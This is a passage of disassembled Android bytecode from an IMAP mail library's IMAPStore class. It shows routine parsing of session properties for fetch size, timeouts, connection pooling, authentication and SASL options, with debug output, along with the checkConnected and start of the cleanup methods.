00000126  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000012C  move-result-object      v0
0000012E  invoke-virtual          StringBuilder->toString()String, v0
00000134  move-result-object      v0
00000136  invoke-virtual          Session->getProperty(String)String, p1, v0
0000013C  move-result-object      v0
0000013E  if-eqz                  v0, :936
:142
00000142  const-string            v1, "false"
00000146  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
0000014C  move-result             v0
0000014E  if-eqz                  v0, :936
:152
00000152  iput                    v3, p0, IMAPStore->blksize:I
00000156  iget-boolean            v0, p0, IMAPStore->debug:Z
0000015A  if-eqz                  v0, :16C
:15E
0000015E  iget-object             v0, p0, IMAPStore->out:PrintStream
00000162  const-string            v1, "DEBUG: mail.imap.partialfetch: false"
00000166  invoke-virtual          PrintStream->println(String)V, v0, v1
:16C
0000016C  new-instance            v0, StringBuilder
00000170  const-string            v1, "mail."
00000174  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000017A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
00000180  move-result-object      v0
00000182  const-string            v1, ".statuscachetimeout"
00000186  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000018C  move-result-object      v0
0000018E  invoke-virtual          StringBuilder->toString()String, v0
00000194  move-result-object      v0
00000196  invoke-virtual          Session->getProperty(String)String, p1, v0
0000019C  move-result-object      v0
0000019E  if-eqz                  v0, :1E2
:1A2
000001A2  invoke-static           Integer->parseInt(String)I, v0
000001A8  move-result             v0
000001AA  iput                    v0, p0, IMAPStore->statusCacheTimeout:I
000001AE  iget-boolean            v0, p0, IMAPStore->debug:Z
000001B2  if-eqz                  v0, :1E2
:1B6
000001B6  iget-object             v0, p0, IMAPStore->out:PrintStream
000001BA  new-instance            v1, StringBuilder
000001BE  const-string            v2, "DEBUG: mail.imap.statuscachetimeout: "
000001C2  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000001C8  iget                    v2, p0, IMAPStore->statusCacheTimeout:I
000001CC  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v2
000001D2  move-result-object      v1
000001D4  invoke-virtual          StringBuilder->toString()String, v1
000001DA  move-result-object      v1
000001DC  invoke-virtual          PrintStream->println(String)V, v0, v1
:1E2
000001E2  new-instance            v0, StringBuilder
000001E6  const-string            v1, "mail."
000001EA  invoke-direct           StringBuilder-><init>(String)V, v0, v1
000001F0  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
000001F6  move-result-object      v0
000001F8  const-string            v1, ".appendbuffersize"
000001FC  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000202  move-result-object      v0
00000204  invoke-virtual          StringBuilder->toString()String, v0
0000020A  move-result-object      v0
0000020C  invoke-virtual          Session->getProperty(String)String, p1, v0
00000212  move-result-object      v0
00000214  if-eqz                  v0, :258
:218
00000218  invoke-static           Integer->parseInt(String)I, v0
0000021E  move-result             v0
00000220  iput                    v0, p0, IMAPStore->appendBufferSize:I
00000224  iget-boolean            v0, p0, IMAPStore->debug:Z
00000228  if-eqz                  v0, :258
:22C
0000022C  iget-object             v0, p0, IMAPStore->out:PrintStream
00000230  new-instance            v1, StringBuilder
00000234  const-string            v2, "DEBUG: mail.imap.appendbuffersize: "
00000238  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000023E  iget                    v2, p0, IMAPStore->appendBufferSize:I
00000242  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v2
00000248  move-result-object      v1
0000024A  invoke-virtual          StringBuilder->toString()String, v1
00000250  move-result-object      v1
00000252  invoke-virtual          PrintStream->println(String)V, v0, v1
:258
00000258  new-instance            v0, StringBuilder
0000025C  const-string            v1, "mail."
00000260  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000266  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
0000026C  move-result-object      v0
0000026E  const-string            v1, ".minidletime"
00000272  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000278  move-result-object      v0
0000027A  invoke-virtual          StringBuilder->toString()String, v0
00000280  move-result-object      v0
00000282  invoke-virtual          Session->getProperty(String)String, p1, v0
00000288  move-result-object      v0
0000028A  if-eqz                  v0, :2CE
:28E
0000028E  invoke-static           Integer->parseInt(String)I, v0
00000294  move-result             v0
00000296  iput                    v0, p0, IMAPStore->minIdleTime:I
0000029A  iget-boolean            v0, p0, IMAPStore->debug:Z
0000029E  if-eqz                  v0, :2CE
:2A2
000002A2  iget-object             v0, p0, IMAPStore->out:PrintStream
000002A6  new-instance            v1, StringBuilder
000002AA  const-string            v2, "DEBUG: mail.imap.minidletime: "
000002AE  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000002B4  iget                    v2, p0, IMAPStore->minIdleTime:I
000002B8  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v2
000002BE  move-result-object      v1
000002C0  invoke-virtual          StringBuilder->toString()String, v1
000002C6  move-result-object      v1
000002C8  invoke-virtual          PrintStream->println(String)V, v0, v1
:2CE
000002CE  new-instance            v0, StringBuilder
000002D2  const-string            v1, "mail."
000002D6  invoke-direct           StringBuilder-><init>(String)V, v0, v1
000002DC  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
000002E2  move-result-object      v0
000002E4  const-string            v1, ".connectionpoolsize"
000002E8  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
000002EE  move-result-object      v0
000002F0  invoke-virtual          StringBuilder->toString()String, v0
000002F6  move-result-object      v0
000002F8  invoke-virtual          Session->getProperty(String)String, p1, v0
000002FE  move-result-object      v0
00000300  if-eqz                  v0, :35E
:304
00000304  invoke-static           Integer->parseInt(String)I, v0
0000030A  move-result             v0
0000030C  if-lez                  v0, :31A
:310
00000310  iget-object             v1, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000314  invoke-static           IMAPStore$ConnectionPool->access$2(IMAPStore$ConnectionPool, I)V, v1, v0
:31A
0000031A  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000031E  invoke-static           IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
00000324  move-result             v0
00000326  if-eqz                  v0, :35E
:32A
0000032A  iget-object             v0, p0, IMAPStore->out:PrintStream
0000032E  new-instance            v1, StringBuilder
00000332  const-string            v2, "DEBUG: mail.imap.connectionpoolsize: "
00000336  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000033C  iget-object             v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000340  invoke-static           IMAPStore$ConnectionPool->access$4(IMAPStore$ConnectionPool)I, v2
00000346  move-result             v2
00000348  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v2
0000034E  move-result-object      v1
00000350  invoke-virtual          StringBuilder->toString()String, v1
00000356  move-result-object      v1
00000358  invoke-virtual          PrintStream->println(String)V, v0, v1
:35E
0000035E  new-instance            v0, StringBuilder
00000362  const-string            v1, "mail."
00000366  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000036C  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
00000372  move-result-object      v0
00000374  const-string            v1, ".connectionpooltimeout"
00000378  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000037E  move-result-object      v0
00000380  invoke-virtual          StringBuilder->toString()String, v0
00000386  move-result-object      v0
00000388  invoke-virtual          Session->getProperty(String)String, p1, v0
0000038E  move-result-object      v0
00000390  if-eqz                  v0, :3F0
:394
00000394  invoke-static           Integer->parseInt(String)I, v0
0000039A  move-result             v0
0000039C  if-lez                  v0, :3AC
:3A0
000003A0  iget-object             v1, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000003A4  int-to-long             v2, v0
000003A6  invoke-static           IMAPStore$ConnectionPool->access$5(IMAPStore$ConnectionPool, J)V, v1, v2, v3
:3AC
000003AC  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000003B0  invoke-static           IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
000003B6  move-result             v0
000003B8  if-eqz                  v0, :3F0
:3BC
000003BC  iget-object             v0, p0, IMAPStore->out:PrintStream
000003C0  new-instance            v1, StringBuilder
000003C4  const-string            v2, "DEBUG: mail.imap.connectionpooltimeout: "
000003C8  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000003CE  iget-object             v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000003D2  invoke-static           IMAPStore$ConnectionPool->access$6(IMAPStore$ConnectionPool)J, v2
000003D8  move-result-wide        v2
000003DA  invoke-virtual          StringBuilder->append(J)StringBuilder, v1, v2, v3
000003E0  move-result-object      v1
000003E2  invoke-virtual          StringBuilder->toString()String, v1
000003E8  move-result-object      v1
000003EA  invoke-virtual          PrintStream->println(String)V, v0, v1
:3F0
000003F0  new-instance            v0, StringBuilder
000003F4  const-string            v1, "mail."
000003F8  invoke-direct           StringBuilder-><init>(String)V, v0, v1
000003FE  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
00000404  move-result-object      v0
00000406  const-string            v1, ".servertimeout"
0000040A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000410  move-result-object      v0
00000412  invoke-virtual          StringBuilder->toString()String, v0
00000418  move-result-object      v0
0000041A  invoke-virtual          Session->getProperty(String)String, p1, v0
00000420  move-result-object      v0
00000422  if-eqz                  v0, :482
:426
00000426  invoke-static           Integer->parseInt(String)I, v0
0000042C  move-result             v0
0000042E  if-lez                  v0, :43E
:432
00000432  iget-object             v1, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000436  int-to-long             v2, v0
00000438  invoke-static           IMAPStore$ConnectionPool->access$7(IMAPStore$ConnectionPool, J)V, v1, v2, v3
:43E
0000043E  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000442  invoke-static           IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
00000448  move-result             v0
0000044A  if-eqz                  v0, :482
:44E
0000044E  iget-object             v0, p0, IMAPStore->out:PrintStream
00000452  new-instance            v1, StringBuilder
00000456  const-string            v2, "DEBUG: mail.imap.servertimeout: "
0000045A  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000460  iget-object             v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000464  invoke-static           IMAPStore$ConnectionPool->access$8(IMAPStore$ConnectionPool)J, v2
0000046A  move-result-wide        v2
0000046C  invoke-virtual          StringBuilder->append(J)StringBuilder, v1, v2, v3
00000472  move-result-object      v1
00000474  invoke-virtual          StringBuilder->toString()String, v1
0000047A  move-result-object      v1
0000047C  invoke-virtual          PrintStream->println(String)V, v0, v1
:482
00000482  new-instance            v0, StringBuilder
00000486  const-string            v1, "mail."
0000048A  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000490  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
00000496  move-result-object      v0
00000498  const-string            v1, ".separatestoreconnection"
0000049C  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
000004A2  move-result-object      v0
000004A4  invoke-virtual          StringBuilder->toString()String, v0
000004AA  move-result-object      v0
000004AC  invoke-virtual          Session->getProperty(String)String, p1, v0
000004B2  move-result-object      v0
000004B4  if-eqz                  v0, :4F0
:4B8
000004B8  const-string            v1, "true"
000004BC  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
000004C2  move-result             v0
000004C4  if-eqz                  v0, :4F0
:4C8
000004C8  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000004CC  invoke-static           IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
000004D2  move-result             v0
000004D4  if-eqz                  v0, :4E6
:4D8
000004D8  iget-object             v0, p0, IMAPStore->out:PrintStream
000004DC  const-string            v1, "DEBUG: dedicate a store connection"
000004E0  invoke-virtual          PrintStream->println(String)V, v0, v1
:4E6
000004E6  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000004EA  invoke-static           IMAPStore$ConnectionPool->access$9(IMAPStore$ConnectionPool, Z)V, v0, v4
:4F0
000004F0  new-instance            v0, StringBuilder
000004F4  const-string            v1, "mail."
000004F8  invoke-direct           StringBuilder-><init>(String)V, v0, v1
000004FE  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
00000504  move-result-object      v0
00000506  const-string            v1, ".proxyauth.user"
0000050A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000510  move-result-object      v0
00000512  invoke-virtual          StringBuilder->toString()String, v0
00000518  move-result-object      v0
0000051A  invoke-virtual          Session->getProperty(String)String, p1, v0
00000520  move-result-object      v0
00000522  if-eqz                  v0, :55E
:526
00000526  iput-object             v0, p0, IMAPStore->proxyAuthUser:String
0000052A  iget-boolean            v0, p0, IMAPStore->debug:Z
0000052E  if-eqz                  v0, :55E
:532
00000532  iget-object             v0, p0, IMAPStore->out:PrintStream
00000536  new-instance            v1, StringBuilder
0000053A  const-string            v2, "DEBUG: mail.imap.proxyauth.user: "
0000053E  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000544  iget-object             v2, p0, IMAPStore->proxyAuthUser:String
00000548  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000054E  move-result-object      v1
00000550  invoke-virtual          StringBuilder->toString()String, v1
00000556  move-result-object      v1
00000558  invoke-virtual          PrintStream->println(String)V, v0, v1
:55E
0000055E  new-instance            v0, StringBuilder
00000562  const-string            v1, "mail."
00000566  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000056C  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
00000572  move-result-object      v0
00000574  const-string            v1, ".auth.login.disable"
00000578  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000057E  move-result-object      v0
00000580  invoke-virtual          StringBuilder->toString()String, v0
00000586  move-result-object      v0
00000588  invoke-virtual          Session->getProperty(String)String, p1, v0
0000058E  move-result-object      v0
00000590  if-eqz                  v0, :5BE
:594
00000594  const-string            v1, "true"
00000598  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
0000059E  move-result             v0
000005A0  if-eqz                  v0, :5BE
:5A4
000005A4  iget-boolean            v0, p0, IMAPStore->debug:Z
000005A8  if-eqz                  v0, :5BA
:5AC
000005AC  iget-object             v0, p0, IMAPStore->out:PrintStream
000005B0  const-string            v1, "DEBUG: disable AUTH=LOGIN"
000005B4  invoke-virtual          PrintStream->println(String)V, v0, v1
:5BA
000005BA  iput-boolean            v4, p0, IMAPStore->disableAuthLogin:Z
:5BE
000005BE  new-instance            v0, StringBuilder
000005C2  const-string            v1, "mail."
000005C6  invoke-direct           StringBuilder-><init>(String)V, v0, v1
000005CC  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
000005D2  move-result-object      v0
000005D4  const-string            v1, ".auth.plain.disable"
000005D8  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
000005DE  move-result-object      v0
000005E0  invoke-virtual          StringBuilder->toString()String, v0
000005E6  move-result-object      v0
000005E8  invoke-virtual          Session->getProperty(String)String, p1, v0
000005EE  move-result-object      v0
000005F0  if-eqz                  v0, :61E
:5F4
000005F4  const-string            v1, "true"
000005F8  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
000005FE  move-result             v0
00000600  if-eqz                  v0, :61E
:604
00000604  iget-boolean            v0, p0, IMAPStore->debug:Z
00000608  if-eqz                  v0, :61A
:60C
0000060C  iget-object             v0, p0, IMAPStore->out:PrintStream
00000610  const-string            v1, "DEBUG: disable AUTH=PLAIN"
00000614  invoke-virtual          PrintStream->println(String)V, v0, v1
:61A
0000061A  iput-boolean            v4, p0, IMAPStore->disableAuthPlain:Z
:61E
0000061E  new-instance            v0, StringBuilder
00000622  const-string            v1, "mail."
00000626  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000062C  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
00000632  move-result-object      v0
00000634  const-string            v1, ".starttls.enable"
00000638  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000063E  move-result-object      v0
00000640  invoke-virtual          StringBuilder->toString()String, v0
00000646  move-result-object      v0
00000648  invoke-virtual          Session->getProperty(String)String, p1, v0
0000064E  move-result-object      v0
00000650  if-eqz                  v0, :67E
:654
00000654  const-string            v1, "true"
00000658  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
0000065E  move-result             v0
00000660  if-eqz                  v0, :67E
:664
00000664  iget-boolean            v0, p0, IMAPStore->debug:Z
00000668  if-eqz                  v0, :67A
:66C
0000066C  iget-object             v0, p0, IMAPStore->out:PrintStream
00000670  const-string            v1, "DEBUG: enable STARTTLS"
00000674  invoke-virtual          PrintStream->println(String)V, v0, v1
:67A
0000067A  iput-boolean            v4, p0, IMAPStore->enableStartTLS:Z
:67E
0000067E  new-instance            v0, StringBuilder
00000682  const-string            v1, "mail."
00000686  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000068C  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
00000692  move-result-object      v0
00000694  const-string            v1, ".sasl.enable"
00000698  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000069E  move-result-object      v0
000006A0  invoke-virtual          StringBuilder->toString()String, v0
000006A6  move-result-object      v0
000006A8  invoke-virtual          Session->getProperty(String)String, p1, v0
000006AE  move-result-object      v0
000006B0  if-eqz                  v0, :6DE
:6B4
000006B4  const-string            v1, "true"
000006B8  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
000006BE  move-result             v0
000006C0  if-eqz                  v0, :6DE
:6C4
000006C4  iget-boolean            v0, p0, IMAPStore->debug:Z
000006C8  if-eqz                  v0, :6DA
:6CC
000006CC  iget-object             v0, p0, IMAPStore->out:PrintStream
000006D0  const-string            v1, "DEBUG: enable SASL"
000006D4  invoke-virtual          PrintStream->println(String)V, v0, v1
:6DA
000006DA  iput-boolean            v4, p0, IMAPStore->enableSASL:Z
:6DE
000006DE  iget-boolean            v0, p0, IMAPStore->enableSASL:Z
000006E2  if-eqz                  v0, :798
:6E6
000006E6  new-instance            v0, StringBuilder
000006EA  const-string            v1, "mail."
000006EE  invoke-direct           StringBuilder-><init>(String)V, v0, v1
000006F4  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
000006FA  move-result-object      v0
000006FC  const-string            v1, ".sasl.mechanisms"
00000700  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000706  move-result-object      v0
00000708  invoke-virtual          StringBuilder->toString()String, v0
0000070E  move-result-object      v0
00000710  invoke-virtual          Session->getProperty(String)String, p1, v0
00000716  move-result-object      v0
00000718  if-eqz                  v0, :798
:71C
0000071C  invoke-virtual          String->length()I, v0
00000722  move-result             v1
00000724  if-lez                  v1, :798
:728
00000728  iget-boolean            v1, p0, IMAPStore->debug:Z
0000072C  if-eqz                  v1, :758
:730
00000730  iget-object             v1, p0, IMAPStore->out:PrintStream
00000734  new-instance            v2, StringBuilder
00000738  const-string            v3, "DEBUG: SASL mechanisms allowed: "
0000073C  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000742  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
00000748  move-result-object      v2
0000074A  invoke-virtual          StringBuilder->toString()String, v2
00000750  move-result-object      v2
00000752  invoke-virtual          PrintStream->println(String)V, v1, v2
:758
00000758  new-instance            v1, Vector
0000075C  const/4                 v2, 0x5
0000075E  invoke-direct           Vector-><init>(I)V, v1, v2
00000764  new-instance            v2, StringTokenizer
00000768  const-string            v3, " ,"
0000076C  invoke-direct           StringTokenizer-><init>(String, String)V, v2, v0, v3
:772
00000772  invoke-virtual          StringTokenizer->hasMoreTokens()Z, v2
00000778  move-result             v0
0000077A  if-nez                  v0, :9B0
:77E
0000077E  invoke-virtual          Vector->size()I, v1
00000784  move-result             v0
00000786  new-array               v0, v0, [String
0000078A  iput-object             v0, p0, IMAPStore->saslMechanisms:[String
0000078E  iget-object             v0, p0, IMAPStore->saslMechanisms:[String
00000792  invoke-virtual          Vector->copyInto([Object)V, v1, v0
:798
00000798  new-instance            v0, StringBuilder
0000079C  const-string            v1, "mail."
000007A0  invoke-direct           StringBuilder-><init>(String)V, v0, v1
000007A6  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
000007AC  move-result-object      v0
000007AE  const-string            v1, ".sasl.authorizationid"
000007B2  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
000007B8  move-result-object      v0
000007BA  invoke-virtual          StringBuilder->toString()String, v0
000007C0  move-result-object      v0
000007C2  invoke-virtual          Session->getProperty(String)String, p1, v0
000007C8  move-result-object      v0
000007CA  if-eqz                  v0, :806
:7CE
000007CE  iput-object             v0, p0, IMAPStore->authorizationID:String
000007D2  iget-boolean            v0, p0, IMAPStore->debug:Z
000007D6  if-eqz                  v0, :806
:7DA
000007DA  iget-object             v0, p0, IMAPStore->out:PrintStream
000007DE  new-instance            v1, StringBuilder
000007E2  const-string            v2, "DEBUG: mail.imap.sasl.authorizationid: "
000007E6  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000007EC  iget-object             v2, p0, IMAPStore->authorizationID:String
000007F0  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000007F6  move-result-object      v1
000007F8  invoke-virtual          StringBuilder->toString()String, v1
000007FE  move-result-object      v1
00000800  invoke-virtual          PrintStream->println(String)V, v0, v1
:806
00000806  new-instance            v0, StringBuilder
0000080A  const-string            v1, "mail."
0000080E  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000814  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
0000081A  move-result-object      v0
0000081C  const-string            v1, ".sasl.realm"
00000820  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000826  move-result-object      v0
00000828  invoke-virtual          StringBuilder->toString()String, v0
0000082E  move-result-object      v0
00000830  invoke-virtual          Session->getProperty(String)String, p1, v0
00000836  move-result-object      v0
00000838  if-eqz                  v0, :874
:83C
0000083C  iput-object             v0, p0, IMAPStore->saslRealm:String
00000840  iget-boolean            v0, p0, IMAPStore->debug:Z
00000844  if-eqz                  v0, :874
:848
00000848  iget-object             v0, p0, IMAPStore->out:PrintStream
0000084C  new-instance            v1, StringBuilder
00000850  const-string            v2, "DEBUG: mail.imap.sasl.realm: "
00000854  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000085A  iget-object             v2, p0, IMAPStore->saslRealm:String
0000085E  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000864  move-result-object      v1
00000866  invoke-virtual          StringBuilder->toString()String, v1
0000086C  move-result-object      v1
0000086E  invoke-virtual          PrintStream->println(String)V, v0, v1
:874
00000874  new-instance            v0, StringBuilder
00000878  const-string            v1, "mail."
0000087C  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000882  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
00000888  move-result-object      v0
0000088A  const-string            v1, ".forcepasswordrefresh"
0000088E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000894  move-result-object      v0
00000896  invoke-virtual          StringBuilder->toString()String, v0
0000089C  move-result-object      v0
0000089E  invoke-virtual          Session->getProperty(String)String, p1, v0
000008A4  move-result-object      v0
000008A6  if-eqz                  v0, :8D4
:8AA
000008AA  const-string            v1, "true"
000008AE  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
000008B4  move-result             v0
000008B6  if-eqz                  v0, :8D4
:8BA
000008BA  iget-boolean            v0, p0, IMAPStore->debug:Z
000008BE  if-eqz                  v0, :8D0
:8C2
000008C2  iget-object             v0, p0, IMAPStore->out:PrintStream
000008C6  const-string            v1, "DEBUG: enable forcePasswordRefresh"
000008CA  invoke-virtual          PrintStream->println(String)V, v0, v1
:8D0
000008D0  iput-boolean            v4, p0, IMAPStore->forcePasswordRefresh:Z
:8D4
000008D4  new-instance            v0, StringBuilder
000008D8  const-string            v1, "mail."
000008DC  invoke-direct           StringBuilder-><init>(String)V, v0, v1
000008E2  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
000008E8  move-result-object      v0
000008EA  const-string            v1, ".enableimapevents"
000008EE  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
000008F4  move-result-object      v0
000008F6  invoke-virtual          StringBuilder->toString()String, v0
000008FC  move-result-object      v0
000008FE  invoke-virtual          Session->getProperty(String)String, p1, v0
00000904  move-result-object      v0
00000906  if-eqz                  v0, :934
:90A
0000090A  const-string            v1, "true"
0000090E  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
00000914  move-result             v0
00000916  if-eqz                  v0, :934
:91A
0000091A  iget-boolean            v0, p0, IMAPStore->debug:Z
0000091E  if-eqz                  v0, :930
:922
00000922  iget-object             v0, p0, IMAPStore->out:PrintStream
00000926  const-string            v1, "DEBUG: enable IMAP events"
0000092A  invoke-virtual          PrintStream->println(String)V, v0, v1
:930
00000930  iput-boolean            v4, p0, IMAPStore->enableImapEvents:Z
:934
00000934  return-void
:936
00000936  new-instance            v0, StringBuilder
0000093A  const-string            v1, "mail."
0000093E  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000944  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
0000094A  move-result-object      v0
0000094C  const-string            v1, ".fetchsize"
00000950  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000956  move-result-object      v0
00000958  invoke-virtual          StringBuilder->toString()String, v0
0000095E  move-result-object      v0
00000960  invoke-virtual          Session->getProperty(String)String, p1, v0
00000966  move-result-object      v0
00000968  if-eqz                  v0, :978
:96C
0000096C  invoke-static           Integer->parseInt(String)I, v0
00000972  move-result             v0
00000974  iput                    v0, p0, IMAPStore->blksize:I
:978
00000978  iget-boolean            v0, p0, IMAPStore->debug:Z
0000097C  if-eqz                  v0, :16C
:980
00000980  iget-object             v0, p0, IMAPStore->out:PrintStream
00000984  new-instance            v1, StringBuilder
00000988  const-string            v2, "DEBUG: mail.imap.fetchsize: "
0000098C  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000992  iget                    v2, p0, IMAPStore->blksize:I
00000996  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v2
0000099C  move-result-object      v1
0000099E  invoke-virtual          StringBuilder->toString()String, v1
000009A4  move-result-object      v1
000009A6  invoke-virtual          PrintStream->println(String)V, v0, v1
000009AC  goto/16                 :16C
:9B0
000009B0  invoke-virtual          StringTokenizer->nextToken()String, v2
000009B6  move-result-object      v0
000009B8  invoke-virtual          String->length()I, v0
000009BE  move-result             v3
000009C0  if-lez                  v3, :772
:9C4
000009C4  invoke-virtual          Vector->addElement(Object)V, v1, v0
000009CA  goto/16                 :772
:9CE
000009CE  move-exception          v0
000009D0  goto/16                 :43E
:9D4
000009D4  move-exception          v0
000009D6  goto/16                 :3AC
:9DA
000009DA  move-exception          v0
000009DC  goto/16                 :31A
          .catch NumberFormatException {:304 .. :31A} :9DA
          .catch NumberFormatException {:394 .. :3AC} :9D4
          .catch NumberFormatException {:426 .. :43E} :9CE
.end method

.method private checkConnected()V
          .registers 3
00000000  sget-boolean            v0, IMAPStore->$assertionsDisabled:Z
00000004  if-nez                  v0, :20
:8
00000008  invoke-static           Thread->holdsLock(Object)Z, p0
0000000E  move-result             v0
00000010  if-nez                  v0, :20
:14
00000014  new-instance            v0, AssertionError
00000018  invoke-direct           AssertionError-><init>()V, v0
0000001E  throw                   v0
:20
00000020  iget-boolean            v0, p0, IMAPStore->connected:Z
00000024  if-nez                  v0, :40
:28
00000028  const/4                 v0, 0x0
0000002A  invoke-super            Store->setConnected(Z)V, p0, v0
00000030  new-instance            v0, IllegalStateException
00000034  const-string            v1, "Not connected"
00000038  invoke-direct           IllegalStateException-><init>(String)V, v0, v1
0000003E  throw                   v0
:40
00000040  return-void
.end method

.method private cleanup()V
          .registers 2
00000000  const/4                 v0, 0x0
00000002  invoke-direct           IMAPStore->cleanup(Z)V, p0, v0
00000008  return-void
.end method

.method private cleanup(Z)V
          .registers 10
00000000  const/4                 v0, 0x0
00000002  const/4                 v3, 0x0
00000004  iget-boolean            v1, p0, IMAPStore->debug:Z
00000008  if-eqz                  v1, :34
:C
0000000C  iget-object             v1, p0, IMAPStore->out:PrintStream
00000010  new-instance            v2, StringBuilder
00000014  const-string            v4, "DEBUG: IMAPStore cleanup, force "
00000018  invoke-direct           StringBuilder-><init>(String)V, v2, v4
0000001E  invoke-virtual          StringBuilder->append(Z)StringBuilder, v2, p1
00000024  move-result-object      v2
00000026  invoke-virtual          StringBuilder->toString()String, v2
0000002C  move-result-object      v2
0000002E  invoke-virtual          PrintStream->println(String)V, v1, v2
:34
00000034  iget-object             v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000038  monitor-enter           v2
:3A
0000003A  iget-object             v1, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000003E  invoke-static           IMAPStore$ConnectionPool->access$13(IMAPStore$ConnectionPool)Vector, v1
00000044  move-result-object      v1
00000046  if-eqz                  v1, :9C
:4A
0000004A  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000004E  invoke-static           IMAPStore$ConnectionPool->access$13(IMAPStore$ConnectionPool)Vector, v0
00000054  move-result-object      v1
00000056  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000005A  const/4                 v4, 0x0
0000005C  invoke-static           IMAPStore$ConnectionPool->access$14(IMAPStore$ConnectionPool, Vector)V, v0, v4
00000062  move                    v0, v3
:64
00000064  monitor-exit            v2
:66
00000066  if-eqz                  v0, :AC
:6A
0000006A  iget-object             v1, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000006E  monitor-enter           v1
:70
00000070  invoke-direct           IMAPStore->emptyConnectionPool(Z)V, p0, p1
00000076  monitor-exit            v1
